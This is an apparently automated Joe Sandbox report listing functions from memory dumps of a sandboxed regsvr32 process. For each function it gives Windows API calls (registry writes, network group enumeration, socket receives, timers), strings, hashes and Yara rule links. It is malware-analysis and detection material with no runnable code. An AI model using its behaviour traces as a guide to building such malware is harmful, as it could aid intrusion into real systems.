Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: Value$Versionmemset
String ID:
API String ID: 1111070192-0
Opcode ID: 1618c282659745b33c8edb6061f6d6d4dac115545f7ecd91b69ab7fd22f47f94
Instruction ID: 49988fe6ceed7ed6f7c2e4812d1005e3fc94c0fa11ce8f2d173a2225998507b3
Opcode Fuzzy Hash: 1618c282659745b33c8edb6061f6d6d4dac115545f7ecd91b69ab7fd22f47f94
Instruction Fuzzy Hash: 635166759007189FD721CF69CD01BEABBF4AF66354F004969E9489BB82DB70D904CBE1

Function 6C8F33E0 Relevance: 9.1, APIs: 6, Instructions: 131COMMON

Download Yara Rule

APIs

CancelIo.KERNEL32(?,?,?,?,?,?,6C8B0DED,?,6C8E5C1A,?,?,6C8F3131,00000002,000000FF,00000000,000000FF), ref: 6C8F33F7
GetOverlappedResult.KERNEL32(?,?,00000000,00000001,?,?,?,?,?,?,6C8B0DED,?,6C8E5C1A,?,?,6C8F3131), ref: 6C8F3412
GetLastError.KERNEL32(?,?,?,?,?,?,6C8B0DED,?,6C8E5C1A,?,?,6C8F3131,00000002,000000FF,00000000,000000FF), ref: 6C8F342C
GetLastError.KERNEL32(?,?,00000000,00000001,?,?,?,?,?,?,6C8B0DED,?,6C8E5C1A,?,?,6C8F3131), ref: 6C8F3485
CompareStringOrdinal.KERNEL32(?,?,?,?,00000001), ref: 6C8F34DC
GetLastError.KERNEL32(?,?,?,?,00000001), ref: 6C8F34F0

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: ErrorLast$CancelCompareOrdinalOverlappedResultString
String ID:
API String ID: 2757005218-0
Opcode ID: 94cff528b827a2c442f38e70b7c1655139bb57437f2a65510f272e86c20c9efc
Instruction ID: bc003968c9ae328ab2e0ce2c9c5350c33192897219550af6802ea3938d95d245
Opcode Fuzzy Hash: 94cff528b827a2c442f38e70b7c1655139bb57437f2a65510f272e86c20c9efc
Instruction Fuzzy Hash: F6410371800208AFDB21CF60CC44BEBBBB8BF65308F144858E954AB751D775D949CBA2

Function 6C8D2380 Relevance: 9.1, APIs: 6, Instructions: 127timesleepsynchronizationCOMMON

Download Yara Rule

APIs

CreateWaitableTimerExW.KERNEL32(00000000,00000000,00000002,001F0003,00000000,?,6C8762AE,00000000,00000000,00989680,?,?,?), ref: 6C8D23AA
SetWaitableTimer.KERNEL32(00000000,00000002,00000000,00000000,00000000,00000000,?,00000000,00000000,00000002,001F0003,00000000,?,6C8762AE,00000000,00000000), ref: 6C8D2417
WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,00000002,00000000,00000000,00000000,00000000,?,00000000,00000000,00000002,001F0003,00000000,?,6C8762AE), ref: 6C8D2423
CloseHandle.KERNEL32(00000000,00000000,000000FF,00000000,00000002,00000000,00000000,00000000,00000000,?,00000000,00000000,00000002,001F0003,00000000), ref: 6C8D242B
CloseHandle.KERNEL32(00000000,?,00000000,00000000,00000002,001F0003,00000000,?,6C8762AE,00000000,00000000,00989680,?,?,?), ref: 6C8D243F
Sleep.KERNEL32(FFFFFFFF,00000000,?,6C8762AE,00000000,00000000,00989680,?,?,?), ref: 6C8D24B9

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: CloseHandleTimerWaitable$CreateObjectSingleSleepWait
String ID:
API String ID: 2261246915-0
Opcode ID: 0d7440184b0ef466ce1b8e6d27c7e0898a32ff8a16c81bd845074420544aa09b
Instruction ID: 2554a8414900201b9fb3b5b8730eb65a5890a094aac0d854b72c639489ffb62e
Opcode Fuzzy Hash: 0d7440184b0ef466ce1b8e6d27c7e0898a32ff8a16c81bd845074420544aa09b
Instruction Fuzzy Hash: 0F31043231030417DB18997D8D817AF66DB5F98720F9ACA38BD28DBBD0EA78EC054391

Function 026352C0 Relevance: 9.1, APIs: 6, Instructions: 123registrysleepCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000002,02647554,00000000,00000102,?), ref: 02635392
RegDeleteValueW.ADVAPI32(?,02647568), ref: 026353A2
RegSetValueExW.ADVAPI32(?,02647568,00000000,00000003,0264C7D8,000012A0), ref: 026353C0
RegCloseKey.ADVAPI32(?), ref: 026353CB
GetExitCodeProcess.KERNEL32(00000000,?), ref: 0263542B
Sleep.KERNEL32(00000BB8), ref: 02635444

Memory Dump Source

Source File: 00000007.00000002.2916891483.0000000002631000.00000020.10000000.00040000.00000000.sdmp, Offset: 02631000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2631000_regsvr32.jbxd

Similarity

API ID: Value$CloseCodeDeleteExitOpenProcessSleep
String ID:
API String ID: 4289506047-0
Opcode ID: bfd313611d1c9a55515b64e731cf7e512348cf3521115c19c06a5aacffb4c5a2
Instruction ID: a08fa3408557d1ff9233e76fd501678a0904c04ceab882cc6f7bb56dbc9f0a80
Opcode Fuzzy Hash: bfd313611d1c9a55515b64e731cf7e512348cf3521115c19c06a5aacffb4c5a2
Instruction Fuzzy Hash: 95414872A842808BE31B8B308805F7ABBE5AB5D718FDD1849E0C79B242E770D542C796

Function 6C851020 Relevance: 9.1, APIs: 6, Instructions: 108sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(?,?,?,6C8512C1,?,?,?,?,?,?,6C8513CE), ref: 6C851057
_amsg_exit.MSVCRT ref: 6C851085

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: Sleep_amsg_exit
String ID:
API String ID: 1015461914-0
Opcode ID: 5bcdcdc1b8635cc844afeb3651bfc997d5e18f3a348aa94327dc19d1ea512a96
Instruction ID: f7a12aef1ebfca1d3fc73948853c4fd589d91154303bdfe1ac0bac6f1c706e29
Opcode Fuzzy Hash: 5bcdcdc1b8635cc844afeb3651bfc997d5e18f3a348aa94327dc19d1ea512a96
Instruction Fuzzy Hash: C241A27270D250CBE760AF6DC68571A77F0EB52348FA08A2DD4448BB14DBB6C594CB93

Function 02635070 Relevance: 9.1, APIs: 6, Instructions: 107networkCOMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.NTDLL(?), ref: 026350BA
WSASetLastError.WS2_32(0000139F), ref: 026350D2
RtlLeaveCriticalSection.NTDLL(?), ref: 026350DC

Memory Dump Source

Source File: 00000007.00000002.2916891483.0000000002631000.00000020.10000000.00040000.00000000.sdmp, Offset: 02631000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2631000_regsvr32.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeave
String ID:
API String ID: 4082018349-0
Opcode ID: 544160dbc93482bff54cb37f47907fa46f018ae5eb68542a8c4220bc47cff82d
Instruction ID: 29c5c51af77b52be9e18cc0fc904b61cf9625a7cdf5a92e42252129d899b4a94
Opcode Fuzzy Hash: 544160dbc93482bff54cb37f47907fa46f018ae5eb68542a8c4220bc47cff82d
Instruction Fuzzy Hash: F2319C7AA44684ABD721CF94D985B6AB3E9FB48714F404A1EFD16C7780DB36E810CB90

Function 026352E9 Relevance: 9.1, APIs: 6, Instructions: 84registrysleepCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000002,02647554,00000000,00000102,?), ref: 02635392
RegDeleteValueW.ADVAPI32(?,02647568), ref: 026353A2
RegSetValueExW.ADVAPI32(?,02647568,00000000,00000003,0264C7D8,000012A0), ref: 026353C0
RegCloseKey.ADVAPI32(?), ref: 026353CB
GetExitCodeProcess.KERNEL32(00000000,?), ref: 0263542B
Sleep.KERNEL32(00000BB8), ref: 02635444

Memory Dump Source

Source File: 00000007.00000002.2916891483.0000000002631000.00000020.10000000.00040000.00000000.sdmp, Offset: 02631000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2631000_regsvr32.jbxd

Similarity

API ID: Value$CloseCodeDeleteExitOpenProcessSleep
String ID:
API String ID: 4289506047-0
Opcode ID: 27bcfcb238d7b4a451c09d35018a480c39ebc26e215a2b4ea17bf0cce4cd3608
Instruction ID: 4661aba7132f060307853a64b726b3611fd654c3cfea632a2ccab6fcadf20068
Opcode Fuzzy Hash: 27bcfcb238d7b4a451c09d35018a480c39ebc26e215a2b4ea17bf0cce4cd3608
Instruction Fuzzy Hash: BC3190346883809FE72BCB308848F79BBE5AB59708FDD1849E1CB9B242D770D556C792

Function 0263D9FE Relevance: 9.0, APIs: 6, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0263DA0A

Part of subcall function 02639A33: __getptd_noexit.LIBCMT ref: 02639A36
Part of subcall function 02639A33: __amsg_exit.LIBCMT ref: 02639A43

__amsg_exit.LIBCMT ref: 0263DA2A
__lock.LIBCMT ref: 0263DA3A
InterlockedDecrement.KERNEL32(?), ref: 0263DA57
_free.LIBCMT ref: 0263DA6A
InterlockedIncrement.KERNEL32(02649B48), ref: 0263DA82

Memory Dump Source

Source File: 00000007.00000002.2916891483.0000000002631000.00000020.10000000.00040000.00000000.sdmp, Offset: 02631000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2631000_regsvr32.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock_free
String ID:
API String ID: 3470314060-0
Opcode ID: 13b0648aec74904f729657ef5f661e401ee402a116373ec5155bd4b52c920e1e
Instruction ID: b11b14ca7ea0def0a709073198ddd34fb4cf2f34c3e4e8b61c434a951ed2aa35
Opcode Fuzzy Hash: 13b0648aec74904f729657ef5f661e401ee402a116373ec5155bd4b52c920e1e
Instruction Fuzzy Hash: 1801D275D8A721ABD723AF74D50479EB3E1BF00721F044509E88163380CB74A591DFD9

Function 6C894A50 Relevance: 9.0, APIs: 7, Instructions: 253COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 6C894A6D
memcpy.MSVCRT(?,?,00000404), ref: 6C894AB7
memcpy.MSVCRT(00000400,?,00000404,?,?,?,?,?,00000400,6C97DC4C), ref: 6C894B2F
memcpy.MSVCRT(00000400,?,00000404,00000000,?,?,00000400,6C97DC1C,?,?,00000400,6C97DC0C,?,?,00000400,6C97DC4C), ref: 6C894C07

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: memcpy$memset
String ID:
API String ID: 438689982-0
Opcode ID: b2012acf837a6cbba83fbdc790be1a39b8d21366b24825634bf2710d7d4fc645
Instruction ID: e721bd4413f0f7b69cb07aa76ff2c4124a060ca9c50e899245f2ae8733bc6f25
Opcode Fuzzy Hash: b2012acf837a6cbba83fbdc790be1a39b8d21366b24825634bf2710d7d4fc645
Instruction Fuzzy Hash: 88813AB16012246FD7205A58DC80FFA77A9EFD171DF088479FB487BB82C370A9068798

Function 6C8F8EB0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 215COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(FFFFFFF4,?,?,?,?,?,?,?,00000000,00000001,?,?,6C8DC9EC,00000001,00000000,?), ref: 6C8F8EC3
GetLastError.KERNEL32(FFFFFFF4,?,?,?,?,?,?,?,00000000,00000001,?,?,6C8DC9EC,00000001,00000000,?), ref: 6C8F8ED1
GetConsoleMode.KERNEL32(00000000,00000000,FFFFFFF4), ref: 6C8F8F06
CloseHandle.KERNEL32(6C8DC9EC,00000000,6C983D58,called `Result::unwrap()` on an `Err` value,0000002B,00000000,6C9806DC,6C983CE4,?,00000001,6C983CD4,00000000,00000000,FFFFFFF4), ref: 6C8F9163

Strings

called `Result::unwrap()` on an `Err` value, xrefs: 6C8F9139

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: Handle$CloseConsoleErrorLastMode
String ID: called `Result::unwrap()` on an `Err` value
API String ID: 1170577072-2333694755
Opcode ID: a286046e61007102d2377bec1cd2176bdb511f51476697ae9a74c5b71084a485
Instruction ID: 65d9700e9e6fa2ea2c5bf9c4a9722ea94fced5ec16b642f5e21aaf03dccea8c6
Opcode Fuzzy Hash: a286046e61007102d2377bec1cd2176bdb511f51476697ae9a74c5b71084a485
Instruction Fuzzy Hash: 958128708042489BDB20CFA5C980BDEBFB5AF56348F148D5AE8A17BB41D736D586CB70

Function 6C948250 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9482A0
_ultoa.MSVCRT ref: 6C9482B9
OutputDebugStringA.KERNEL32 ref: 6C9482F0
abort.MSVCRT(00000000), ref: 6C9482F7

Strings

Error cleaning up spin_keys for thread , xrefs: 6C948287

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: CurrentDebugOutputStringThread_ultoaabort
String ID: Error cleaning up spin_keys for thread
API String ID: 4191895893-2906507043
Opcode ID: 2620f5de96dea6be2474176b135cc746c25c40acebf892b6e96c2feb58e77487
Instruction ID: 841f3f194f0e450f664cca161e54d652510ab928994ff6c58ee6cb0cf6401699
Opcode Fuzzy Hash: 2620f5de96dea6be2474176b135cc746c25c40acebf892b6e96c2feb58e77487
Instruction Fuzzy Hash: C711027160C7409BDB006B78D88471BBEE4AB86328F548A2AE090C7791C775C545C79A

Function 6C8F8AE0 Relevance: 7.7, APIs: 5, Instructions: 227threadCOMMON

Download Yara Rule

APIs

InitializeProcThreadAttributeList.KERNEL32(00000000,00000006,00000000,00000000), ref: 6C8F8B04
InitializeProcThreadAttributeList.KERNEL32(00000001,?,00000000,00000000,00000000,00000006,00000000,00000000), ref: 6C8F8B9A
UpdateProcThreadAttribute.KERNEL32(?,00000000,?,?,?,00000000,00000000,00000001,?,00000000,00000000,00000000,00000006,00000000,00000000), ref: 6C8F8C8A

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: AttributeProcThread$InitializeList$Update
String ID:
API String ID: 3806694049-0
Opcode ID: e0b9b6e428172376da871e161a6df9a611cacfc0882d473f19ad2674c197ccf2
Instruction ID: cb69d479403cb409ca90d1e20ecf382de6b04d89f21672231459be0389cfc7a3
Opcode Fuzzy Hash: e0b9b6e428172376da871e161a6df9a611cacfc0882d473f19ad2674c197ccf2
Instruction Fuzzy Hash: B8717731A012149BDF20CFA5C980BFBB7B5FF16348F15496AE818AB741D772E846C7A0

Function 6C9466F0 Relevance: 7.7, APIs: 5, Instructions: 203COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 95d943797c5de33cf6e30557c083e91ee023b08883930c0a895e525a8404f6a1
Instruction ID: 3938a6a1f8f92defc6b960b5480d70b9bbdb3eae90ffcc892cc020e53b1c882f
Opcode Fuzzy Hash: 95d943797c5de33cf6e30557c083e91ee023b08883930c0a895e525a8404f6a1
Instruction Fuzzy Hash: 556188B56093048FD700CF29C48065AB7F9BF99708F44CA6EE898DBB14E774D90ACB56

Function 6C862460 Relevance: 7.7, APIs: 5, Instructions: 165COMMON

Download Yara Rule

APIs

NetGroupEnum.NETAPI32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000), ref: 6C8624EB
NetGroupGetInfo.NETAPI32(00000000,00000000,00000003,00000000,00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000000,00000000,00000000,000000FF), ref: 6C862542

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: Group$EnumInfo
String ID:
API String ID: 432415500-0
Opcode ID: 5e84e2d3397431715ac572703e933ba48da65b57c9f3568f1fce1d4be9fb0ce8
Instruction ID: c5e3668f1130641ba6b181b4469fb54e73987e8c2389dc69f2c29594eac98321
Opcode Fuzzy Hash: 5e84e2d3397431715ac572703e933ba48da65b57c9f3568f1fce1d4be9fb0ce8
Instruction Fuzzy Hash: D85163B1E012099FDB10CF95D988BEEB7B4BF58318F1485A9E814ABB81E735DD05CB90

Function 6C8BD390 Relevance: 7.7, APIs: 2, Strings: 3, Instructions: 155COMMON

Download Yara Rule

APIs

memmove.MSVCRT(?,?,?), ref: 6C8BD412
memmove.MSVCRT(?,?,00000002), ref: 6C8BD445

Strings

assertion failed: match track_edge_idx { LeftOrRight::Left(idx) => idx <= old_left_len, LeftOrRight::Right(idx) => idx <= right_len,}, xrefs: 6C8BDA49, 6C8BDA93
assertion failed: new_left_len <= CAPACITY, xrefs: 6C8BD36E, 6C8BDA31
assertion failed: old_left_len + count <= CAPACITY, xrefs: 6C8BD091

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: memmove
String ID: assertion failed: match track_edge_idx { LeftOrRight::Left(idx) => idx <= old_left_len, LeftOrRight::Right(idx) => idx <= right_len,}$assertion failed: new_left_len <= CAPACITY$assertion failed: old_left_len + count <= CAPACITY
API String ID: 2162964266-3535459961
Opcode ID: be8e9a54e68a60071c9c3f1c079dc551bf8670ede1602f3f90179eadb874eeff
Instruction ID: 6d8e1bf7c2f3f144f1217149b2378e761ca09949a848e5d924f2755615494001
Opcode Fuzzy Hash: be8e9a54e68a60071c9c3f1c079dc551bf8670ede1602f3f90179eadb874eeff
Instruction Fuzzy Hash: B4718B70D01B198BCB21CF59C980BEAB7B9FF89304F1486AED8496B306D731AA45CB50

Function 6C947600 Relevance: 7.6, APIs: 5, Instructions: 108threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C947640

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: a25efd61e7f1da03d8e8972d5812c359eb01d80674edf24256623fc5986dd0ac
Instruction ID: 2843e2878da994dd4e6d943b5d2265115178e148d8320bf761986a89a9d5a7fd
Opcode Fuzzy Hash: a25efd61e7f1da03d8e8972d5812c359eb01d80674edf24256623fc5986dd0ac
Instruction Fuzzy Hash: 5D31C4317042058BEB006F6DD88475B77EAEB80368F28C979D948CFA45EB36C840CBD2

Function 02633C80 Relevance: 7.6, APIs: 5, Instructions: 98networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(?,?,00000598,00000000), ref: 02633C9F
SetLastError.KERNEL32(00000000,?,00000001,?,02633AB7), ref: 02633CDA
GetLastError.KERNEL32 ref: 02633D25
WSAGetLastError.WS2_32(?,00000001,?,02633AB7), ref: 02633D5B
WSASetLastError.WS2_32(0000000D,?,00000001,?,02633AB7), ref: 02633D82

Memory Dump Source

Source File: 00000007.00000002.2916891483.0000000002631000.00000020.10000000.00040000.00000000.sdmp, Offset: 02631000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2631000_regsvr32.jbxd

Similarity

API ID: ErrorLast$recv
String ID:
API String ID: 316788870-0
Opcode ID: 4ba2408b7629b99c71698248f90823044debc3fed0daeb613643dfe7bddc3e00
